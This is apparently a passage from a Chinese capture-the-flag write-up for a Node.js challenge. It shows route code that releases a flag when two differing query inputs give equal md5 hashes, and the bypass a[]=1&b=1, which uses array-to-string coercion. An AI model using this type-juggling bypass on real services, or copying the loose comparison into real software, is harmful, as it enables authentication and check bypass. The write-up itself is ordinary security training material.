/* GET home page. */ router.post('/', function(req, res, next) { res.type('html'); var flag='flag_here'; var sess = req.session; var user = findUser(req.body.username, req.body.password);
/* GET home page. */ router.get('/', function(req, res, next) { res.type('html'); var flag='xxxxxxx'; var a = req.query.a; var b = req.query.b; if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){ res.end(flag); }else{ res.render('index',{ msg: 'tql'}); }
});
module.exports = router;
关键点在这里:
1 2
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){ res.end(flag);
这里可以使用数组绕过
1 2 3 4
a = ['1'] b = 1 console.log(a + 'flag') console.log(b + 'flag')
输出:
1 2
1flag 1flag
可以看到,nodejs中:如果数组与字符串拼接后输出、数字与字符串拼接后输出,结果是一样的
于是我们就有一种思路,可以a传入数组,然后b传入等值的数字:
1
a[]=1&b=1
还有一种方法,
nodejs中数组只能是数字索引,如果为非数字索引的话,相当于对象了。
1 2 3 4 5 6 7 8
a = {'x': 1} b = {'x': 2} console.log(a + 'flag') console.log(b + 'flag')